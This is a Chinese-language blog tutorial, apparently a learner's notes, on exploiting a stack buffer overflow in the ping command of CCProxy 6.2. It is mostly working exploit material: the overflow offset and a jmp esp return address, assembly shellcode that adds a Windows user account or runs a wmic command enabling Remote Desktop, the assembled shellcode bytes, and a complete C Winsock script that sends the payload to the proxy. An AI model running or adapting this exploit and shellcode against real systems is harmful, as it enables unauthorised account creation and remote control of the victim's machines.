CCPROXY漏洞利用
CCProxy是一款非常流行的下載量最大的的國產代理服務器軟件,其CCProxy 6.2版本存在一個棧溢出漏洞,可以通過此漏洞進行shellcode攻擊,以下是學習過程的一個小記錄吧 : )
1.找到并定位溢出點
使用ping命令加一個超長的字符串加一個主機名,代理端會返回Host not found。
當輸入的字符串足夠長時(比如2000個a),軟件就會溢出奔潰,通過二分法嘗試,發現ping后最多接1009個字符,第1010字符開始溢出,并且前四字節無用,如下圖,當輸入1013個a字符時,此時就有一個字符a溢出到了EIP的地址中
然后使用OD觀察EIP被溢出填充的過程,首先使用查找找到Host not found所在的語句,然后設置內存訪問斷點(硬件執行斷點斷不下來)。
然后執行ping加超長字符串(比如2000個字符a),成功在Host not found處斷了下來。然后單部跳過往下執行到retn 0xc 指令,此時將要EIP = [ESP],ESP = ESP + 0xc+0x4。
執行retn 0xc指令,果然如分析的那樣,所以我們只需要將堆棧段0x011766F8填充成我們希望執行的EIP指令地址即可,這里使用jmp esp,所以我們希望填充0x7FFA4512,于是就會執行jmp esp,緊接著就會跳轉到0x01176700,我們只需要將我們的shell code填到此處就可以。
2.完成基本的添加用戶Shellcode
然后開始編寫shellcode,其實shellcode非常簡單,想要在目標主機上創建一個用戶,命令就是system(“net user 用戶名/add”),該函數就在windows的msvsrt.dll動態鏈接庫中,于是我們編寫如下一份C語言代碼。
#include <windows.h>
#include <winbase.h>
void main()
{LoadLibrary("msvcrt.dll");__asm
{push ebp
;保存ebp,esp-
4mov ebp
,esp
;給ebp賦新值,將作為局部變量的基指針
xor edi
,edi
;push edi
;壓入
0,esp-
4,
;作用是構造字符串的結尾\
0字符 sub esp
,0chmov byte ptr
[ebp
-10h
],6eh
;nmov byte ptr
[ebp
-0fh
],65h
;emov byte ptr
[ebp
-0eh
],74h
;tmov byte ptr
[ebp
-0dh
],20h
;空格mov byte ptr
[ebp
-0ch
],75h
;umov byte ptr
[ebp
-0bh
],73h
;smov byte ptr
[ebp
-0ah
],65h
;emov byte ptr
[ebp
-09h
],72h
;rmov byte ptr
[ebp
-08h
],20h
;空格mov byte ptr
[ebp
-07h
],61h
;amov byte ptr
[ebp
-06h
],20h
;空格mov byte ptr
[ebp
-05h
],2fh
;/mov byte ptr
[ebp
-04h
],61h
;amov byte ptr
[ebp
-03h
],64h
;dmov byte ptr
[ebp
-02h
],64h
;dlea eax
,[ebp
-10h
] ;push eax
;串地址作為參數入棧mov eax
, 0x77bf93c7;call eax
;調用system
}
}
然后反匯編得到匯編代碼,然后查看查看匯編代碼對應的機器碼(使用memory窗口查看),然后保存我們得到的shellcode,為后續使用做準備。
執行完上述程序后可以發現成功的添加了一個a用戶。
3.利用緩沖區溢出執行ShellCode
1.我們首先需要執行jmp esp指令,所以我們填入的1013~1016字節應該填入FFA4512,然后就會執行JMP ESP,然后就會跳轉到第1013+0xc+0x4字節處處執行,但是我們的shellcode需要放在第5個字節到1012個字節之間(因為CCPROXY有一個字符串覆蓋操作,會將第5個字節到1012字節復制到1013+0xc+0x4字節處),由于shellcode許多都是不可見字符,不能手動執行,于是我們編寫如下的C語言代碼(最好使用cpp,否則會有一堆錯誤)。
#include <stdio.h>
#include <winsock2.h>
#include <MSWSock.h>
#include <Windows.h>
#pragma comment(lib, "ws2_32")#define WIN32_LEAN_AND_MEAN
#define MAX_LEN 2000char shell
[] ={ 0x55,0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC,0x0C,0xC6,0x45,0xF0,0x6E,0xC6,0x45,0xF1,0x65,0xC6,0x45,0xF2,0x74,0xC6,0x45,0xF3,0x20,0xC6,0x45,0xF4,0x75,0xC6,0x45,0xF5,0x73,0xC6,0x45,0xF6,0x65,0xC6,0x45,0xF7,0x72,0xC6,0x45,0xF8,0x20,0xC6,0x45,0xF9,0x61,0xC6,0x45,0xFA,0x20,0xC6,0x45,0xFB,0x2F,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x64,0xC6,0x45,0xFE,0x64,0x8D,0x45,0xF0,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0, 0};
int main(int argc
, char* argv
[])
{WSADATA ws
; int ret
= WSAStartup(MAKEWORD(2, 2), &ws
);struct sockaddr_in sa
;sa
.sin_family
= AF_INET
;sa
.sin_port
= htons(23);sa
.sin_addr
.s_addr
= inet_addr("127.0.0.1");char buf
[MAX_LEN
];char buf1
[1024];buf
[0]='p';buf
[1]='i';buf
[2]='n';buf
[3]='g';buf
[4]=' ';int l
= strlen(shell
);buf
[5]=buf
[6]=buf
[7]=buf
[8]='a';for(int j
= 9; j
< 9+l
; j
++){buf
[j
] = shell
[j
-9];}for(int i
=9+l
;i
<1012+5;i
++)buf
[i
]='a';buf
[1017] = 0x12;buf
[1018] = 0x45;buf
[1019] = 0xFA;buf
[1020] = 0x7F;for(i
=1021;i
<1998;i
++)buf
[i
]='a';buf
[1998]='\r';buf
[1999]='\n';SOCKET sc
= WSASocket(AF_INET
, SOCK_STREAM
,IPPROTO_TCP
, NULL, 0, 0); ret
= connect(sc
, (const sockaddr
*)&sa
, sizeof(sa
));recv(sc
,buf1
,1024,0);ret
= send(sc
, buf
, 2000, 0);closesocket(sc
);WSACleanup();return 0;
}
然后運行CCPROXY,再執行剛剛編寫的代碼,發現CCPROXY成功溢出奔潰,并且計算成功添加了一個賬戶a(事先已經刪除賬戶a的情況下)
然后使用OD再Host not found處設置斷點分析整個過程,可以看到此時esp處存放著JMP ESP指令地址,并且shellcode恰好就好[esp+0xc+0x4]的位置(shellcode是從5~1013字節復制過來的)。
執行retn 0xc指令,成功跳轉到JMP ESP指令,并且此時ESP = ESP+0xc+0x4
然后通過JMP ESP就成功跳轉到了shellcode,完成添加用戶的操作。
4.實現一個具備遠程連接控制功能的ShellCode
要實現遠程連接,我們可以使用vmic命令完成,也是通過system()函數進行運行DOC命令,我們需要使用的wmic命令如下:
開啟遠程桌面控制:wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
關閉遠程桌面控制:wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 0
然后我們就只需要將命令轉化為硬編碼,寫入到匯編代碼中即可,如下就是上述命令轉化為ASCII碼值的結果,共87個字符,所以我們需要從ebp-0x58開始填寫。
0x77,0x6d,0x69,0x63,0x20,0x50,0x41,0x54,0x48,0x20,0x77,0x69,0x6e,0x33,0x32,0x5f,0x74,0x65,0x72,0x6d,0x69,0x6e,0x61,0x6c,0x73,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x65,0x74,0x74,0x69,0x6e,0x67,0x20,0x57,0x48,0x45,0x52,0x45,0x20,0x28,0x5f,0x5f,0x43,0x6c,0x61,0x73,0x73,0x21,0x3d,0x22,0x22,0x29,0x20,0x43,0x41,0x4c,0x4c,0x20,0x53,0x65,0x74,0x41,0x6c,0x6c,0x6f,0x77,0x54,0x53,0x43,0x6f,0x6e,0x6e,0x65,0x63,0x74,0x69,0x6f,0x6e,0x73,0x20,0x31
然后修改shellcode,修改為我們上述的shellcode,注意需要抬高棧頂,否則裝不下shellcode。
#include <windows.h>
#include <winbase.h>
void main()
{LoadLibrary("msvcrt.dll");__asm
{push ebp
;保存ebp,esp-
4mov ebp
,esp
;給ebp賦新值,將作為局部變量的基指針
xor edi
,edi
;push edi
;壓入
0,esp-
4,
;作用是構造字符串的結尾\
0字符 sub esp
,60hmov byte ptr ss
:[ebp
- 0x58], 0x77mov byte ptr ss
:[ebp
- 0x57], 0x6dmov byte ptr ss
:[ebp
- 0x56], 0x69mov byte ptr ss
:[ebp
- 0x55], 0x63mov byte ptr ss
:[ebp
- 0x54], 0x20mov byte ptr ss
:[ebp
- 0x53], 0x50mov byte ptr ss
:[ebp
- 0x52], 0x41mov byte ptr ss
:[ebp
- 0x51], 0x54mov byte ptr ss
:[ebp
- 0x50], 0x48mov byte ptr ss
:[ebp
- 0x4f], 0x20mov byte ptr ss
:[ebp
- 0x4e], 0x77mov byte ptr ss
:[ebp
- 0x4d], 0x69mov byte ptr ss
:[ebp
- 0x4c], 0x6emov byte ptr ss
:[ebp
- 0x4b], 0x33mov byte ptr ss
:[ebp
- 0x4a], 0x32mov byte ptr ss
:[ebp
- 0x49], 0x5fmov byte ptr ss
:[ebp
- 0x48], 0x74mov byte ptr ss
:[ebp
- 0x47], 0x65mov byte ptr ss
:[ebp
- 0x46], 0x72mov byte ptr ss
:[ebp
- 0x45], 0x6dmov byte ptr ss
:[ebp
- 0x44], 0x69mov byte ptr ss
:[ebp
- 0x43], 0x6emov byte ptr ss
:[ebp
- 0x42], 0x61mov byte ptr ss
:[ebp
- 0x41], 0x6cmov byte ptr ss
:[ebp
- 0x40], 0x73mov byte ptr ss
:[ebp
- 0x3f], 0x65mov byte ptr ss
:[ebp
- 0x3e], 0x72mov byte ptr ss
:[ebp
- 0x3d], 0x76mov byte ptr ss
:[ebp
- 0x3c], 0x69mov byte ptr ss
:[ebp
- 0x3b], 0x63mov byte ptr ss
:[ebp
- 0x3a], 0x65mov byte ptr ss
:[ebp
- 0x39], 0x73mov byte ptr ss
:[ebp
- 0x38], 0x65mov byte ptr ss
:[ebp
- 0x37], 0x74mov byte ptr ss
:[ebp
- 0x36], 0x74mov byte ptr ss
:[ebp
- 0x35], 0x69mov byte ptr ss
:[ebp
- 0x34], 0x6emov byte ptr ss
:[ebp
- 0x33], 0x67mov byte ptr ss
:[ebp
- 0x32], 0x20mov byte ptr ss
:[ebp
- 0x31], 0x57mov byte ptr ss
:[ebp
- 0x30], 0x48mov byte ptr ss
:[ebp
- 0x2f], 0x45mov byte ptr ss
:[ebp
- 0x2e], 0x52mov byte ptr ss
:[ebp
- 0x2d], 0x45mov byte ptr ss
:[ebp
- 0x2c], 0x20mov byte ptr ss
:[ebp
- 0x2b], 0x28mov byte ptr ss
:[ebp
- 0x2a], 0x5fmov byte ptr ss
:[ebp
- 0x29], 0x5fmov byte ptr ss
:[ebp
- 0x28], 0x43mov byte ptr ss
:[ebp
- 0x27], 0x6cmov byte ptr ss
:[ebp
- 0x26], 0x61mov byte ptr ss
:[ebp
- 0x25], 0x73mov byte ptr ss
:[ebp
- 0x24], 0x73mov byte ptr ss
:[ebp
- 0x23], 0x21mov byte ptr ss
:[ebp
- 0x22], 0x3dmov byte ptr ss
:[ebp
- 0x21], 0x22mov byte ptr ss
:[ebp
- 0x20], 0x22mov byte ptr ss
:[ebp
- 0x1f], 0x29mov byte ptr ss
:[ebp
- 0x1e], 0x20mov byte ptr ss
:[ebp
- 0x1d], 0x43mov byte ptr ss
:[ebp
- 0x1c], 0x41mov byte ptr ss
:[ebp
- 0x1b], 0x4cmov byte ptr ss
:[ebp
- 0x1a], 0x4cmov byte ptr ss
:[ebp
- 0x19], 0x20mov byte ptr ss
:[ebp
- 0x18], 0x53mov byte ptr ss
:[ebp
- 0x17], 0x65mov byte ptr ss
:[ebp
- 0x16], 0x74mov byte ptr ss
:[ebp
- 0x15], 0x41mov byte ptr ss
:[ebp
- 0x14], 0x6cmov byte ptr ss
:[ebp
- 0x13], 0x6cmov byte ptr ss
:[ebp
- 0x12], 0x6fmov byte ptr ss
:[ebp
- 0x11], 0x77mov byte ptr ss
:[ebp
- 0x10], 0x54mov byte ptr ss
:[ebp
- 0xf], 0x53mov byte ptr ss
:[ebp
- 0xe], 0x43mov byte ptr ss
:[ebp
- 0xd], 0x6fmov byte ptr ss
:[ebp
- 0xc], 0x6emov byte ptr ss
:[ebp
- 0xb], 0x6emov byte ptr ss
:[ebp
- 0xa], 0x65mov byte ptr ss
:[ebp
- 0x9], 0x63mov byte ptr ss
:[ebp
- 0x8], 0x74mov byte ptr ss
:[ebp
- 0x7], 0x69mov byte ptr ss
:[ebp
- 0x6], 0x6fmov byte ptr ss
:[ebp
- 0x5], 0x6emov byte ptr ss
:[ebp
- 0x4], 0x73mov byte ptr ss
:[ebp
- 0x3], 0x20mov byte ptr ss
:[ebp
- 0x2], 0x31lea eax
,[ebp
-58h
] ;push eax
;串地址作為參數入棧mov eax
, 0x77bf93c7;call eax
;調用system
}
}
獲得匯編機器碼,然后調式狀態下反匯編,獲取匯編代碼。
55 8B EC 33 FF 57 83 EC 60 36
C6 45 A8 77 36 C6 45 A9 6D 36
C6 45 AA 69 36 C6 45 AB 63 36
C6 45 AC 20 36 C6 45 AD 50 36
C6 45 AE 41 36 C6 45 AF 54 36
C6 45 B0 48 36 C6 45 B1 20 36
C6 45 B2 77 36 C6 45 B3 69 36
C6 45 B4 6E 36 C6 45 B5 33 36
C6 45 B6 32 36 C6 45 B7 5F 36
C6 45 B8 74 36 C6 45 B9 65 36
C6 45 BA 72 36 C6 45 BB 6D 36
C6 45 BC 69 36 C6 45 BD 6E 36
C6 45 BE 61 36 C6 45 BF 6C 36
C6 45 C0 73 36 C6 45 C1 65 36
C6 45 C2 72 36 C6 45 C3 76 36
C6 45 C4 69 36 C6 45 C5 63 36
C6 45 C6 65 36 C6 45 C7 73 36
C6 45 C8 65 36 C6 45 C9 74 36
C6 45 CA 74 36 C6 45 CB 69 36
C6 45 CC 6E 36 C6 45 CD 67 36
C6 45 CE 20 36 C6 45 CF 57 36
C6 45 D0 48 36 C6 45 D1 45 36
C6 45 D2 52 36 C6 45 D3 45 36
C6 45 D4 20 36 C6 45 D5 28 36
C6 45 D6 5F 36 C6 45 D7 5F 36
C6 45 D8 43 36 C6 45 D9 6C 36
C6 45 DA 61 36 C6 45 DB 73 36
C6 45 DC 73 36 C6 45 DD 21 36
C6 45 DE 3D 36 C6 45 DF 22 36
C6 45 E0 22 36 C6 45 E1 29 36
C6 45 E2 20 36 C6 45 E3 43 36
C6 45 E4 41 36 C6 45 E5 4C 36
C6 45 E6 4C 36 C6 45 E7 20 36
C6 45 E8 53 36 C6 45 E9 65 36
C6 45 EA 74 36 C6 45 EB 41 36
C6 45 EC 6C 36 C6 45 ED 6C 36
C6 45 EE 6F 36 C6 45 EF 77 36
C6 45 F0 54 36 C6 45 F1 53 36
C6 45 F2 43 36 C6 45 F3 6F 36
C6 45 F4 6E 36 C6 45 F5 6E 36
C6 45 F6 65 36 C6 45 F7 63 36
C6 45 F8 74 36 C6 45 F9 69 36
C6 45 FA 6F 36 C6 45 FB 6E 36
C6 45 FC 73 36 C6 45 FD 20 36
C6 45 FE 31 8D 45 A8 50 B8 C7
93 BF 77 FF D0
然后修改注入程序的shell部分,其余代碼部分同上。
#include <stdio.h>
#include <winsock2.h>
#include <MSWSock.h>
#include <Windows.h>
#pragma comment(lib, "ws2_32")#define WIN32_LEAN_AND_MEAN
#define MAX_LEN 2000
char shell
[] ={0x55,0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC,
0x60,0x36,0xC6,0x45,0xA8,0x77,0x36,0xC6,
0x45,0xA9,0x6D,0x36,0xC6,0x45,0xAA,0x69,
0x36,0xC6,0x45,0xAB,0x63,0x36,0xC6,0x45,
0xAC,0x20,0x36,0xC6,0x45,0xAD,0x50,0x36,
0xC6,0x45,0xAE,0x41,0x36,0xC6,0x45,0xAF,
0x54,0x36,0xC6,0x45,0xB0,0x48,0x36,0xC6,
0x45,0xB1,0x20,0x36,0xC6,0x45,0xB2,0x77,
0x36,0xC6,0x45,0xB3,0x69,0x36,0xC6,0x45,
0xB4,0x6E,0x36,0xC6,0x45,0xB5,0x33,0x36,
0xC6,0x45,0xB6,0x32,0x36,0xC6,0x45,0xB7,
0x5F,0x36,0xC6,0x45,0xB8,0x74,0x36,0xC6,
0x45,0xB9,0x65,0x36,0xC6,0x45,0xBA,0x72,
0x36,0xC6,0x45,0xBB,0x6D,0x36,0xC6,0x45,
0xBC,0x69,0x36,0xC6,0x45,0xBD,0x6E,0x36,
0xC6,0x45,0xBE,0x61,0x36,0xC6,0x45,0xBF,
0x6C,0x36,0xC6,0x45,0xC0,0x73,0x36,0xC6,
0x45,0xC1,0x65,0x36,0xC6,0x45,0xC2,0x72,
0x36,0xC6,0x45,0xC3,0x76,0x36,0xC6,0x45,
0xC4,0x69,0x36,0xC6,0x45,0xC5,0x63,0x36,
0xC6,0x45,0xC6,0x65,0x36,0xC6,0x45,0xC7,
0x73,0x36,0xC6,0x45,0xC8,0x65,0x36,0xC6,
0x45,0xC9,0x74,0x36,0xC6,0x45,0xCA,0x74,
0x36,0xC6,0x45,0xCB,0x69,0x36,0xC6,0x45,
0xCC,0x6E,0x36,0xC6,0x45,0xCD,0x67,0x36,
0xC6,0x45,0xCE,0x20,0x36,0xC6,0x45,0xCF,
0x57,0x36,0xC6,0x45,0xD0,0x48,0x36,0xC6,
0x45,0xD1,0x45,0x36,0xC6,0x45,0xD2,0x52,
0x36,0xC6,0x45,0xD3,0x45,0x36,0xC6,0x45,
0xD4,0x20,0x36,0xC6,0x45,0xD5,0x28,0x36,
0xC6,0x45,0xD6,0x5F,0x36,0xC6,0x45,0xD7,
0x5F,0x36,0xC6,0x45,0xD8,0x43,0x36,0xC6,
0x45,0xD9,0x6C,0x36,0xC6,0x45,0xDA,0x61,
0x36,0xC6,0x45,0xDB,0x73,0x36,0xC6,0x45,
0xDC,0x73,0x36,0xC6,0x45,0xDD,0x21,0x36,
0xC6,0x45,0xDE,0x3D,0x36,0xC6,0x45,0xDF,
0x22,0x36,0xC6,0x45,0xE0,0x22,0x36,0xC6,
0x45,0xE1,0x29,0x36,0xC6,0x45,0xE2,0x20,
0x36,0xC6,0x45,0xE3,0x43,0x36,0xC6,0x45,
0xE4,0x41,0x36,0xC6,0x45,0xE5,0x4C,0x36,
0xC6,0x45,0xE6,0x4C,0x36,0xC6,0x45,0xE7,
0x20,0x36,0xC6,0x45,0xE8,0x53,0x36,0xC6,
0x45,0xE9,0x65,0x36,0xC6,0x45,0xEA,0x74,
0x36,0xC6,0x45,0xEB,0x41,0x36,0xC6,0x45,
0xEC,0x6C,0x36,0xC6,0x45,0xED,0x6C,0x36,
0xC6,0x45,0xEE,0x6F,0x36,0xC6,0x45,0xEF,
0x77,0x36,0xC6,0x45,0xF0,0x54,0x36,0xC6,
0x45,0xF1,0x53,0x36,0xC6,0x45,0xF2,0x43,
0x36,0xC6,0x45,0xF3,0x6F,0x36,0xC6,0x45,
0xF4,0x6E,0x36,0xC6,0x45,0xF5,0x6E,0x36,
0xC6,0x45,0xF6,0x65,0x36,0xC6,0x45,0xF7,
0x63,0x36,0xC6,0x45,0xF8,0x74,0x36,0xC6,
0x45,0xF9,0x69,0x36,0xC6,0x45,0xFA,0x6F,
0x36,0xC6,0x45,0xFB,0x6E,0x36,0xC6,0x45,
0xFC,0x73,0x36,0xC6,0x45,0xFD,0x20,0x36,
0xC6,0x45,0xFE,0x31,0x8D,0x45,0xA8,0x50,
0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0
};int main(int argc
, char* argv
[])
{WSADATA ws
; int ret
= WSAStartup(MAKEWORD(2, 2), &ws
);struct sockaddr_in sa
;sa
.sin_family
= AF_INET
;sa
.sin_port
= htons(23);sa
.sin_addr
.s_addr
= inet_addr("127.0.0.1");char buf
[MAX_LEN
];char buf1
[1024];buf
[0]='p';buf
[1]='i';buf
[2]='n';buf
[3]='g';buf
[4]=' ';int l
= strlen(shell
);buf
[5]=buf
[6]=buf
[7]=buf
[8]='a';for(int j
= 9; j
< 9+l
; j
++){buf
[j
] = shell
[j
-9];}for(int i
=9+l
;i
<1012+5;i
++)buf
[i
]='a';buf
[1017] = 0x12;buf
[1018] = 0x45;buf
[1019] = 0xFA;buf
[1020] = 0x7F;for(i
=1021;i
<1998;i
++)buf
[i
]='a';buf
[1998]='\r';buf
[1999]='\n';SOCKET sc
= WSASocket(AF_INET
, SOCK_STREAM
,IPPROTO_TCP
, NULL, 0, 0); ret
= connect(sc
, (const sockaddr
*)&sa
, sizeof(sa
));recv(sc
,buf1
,1024,0);ret
= send(sc
, buf
, 2000, 0);closesocket(sc
);WSACleanup();return 0;
}
然后將上述然后運行CCPROXY,再執行剛剛編寫的代碼,發現CCPROXY成功溢出奔潰,并且開啟了遠程服務。
總結
以上是生活随笔為你收集整理的CCPROXY漏洞利用的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。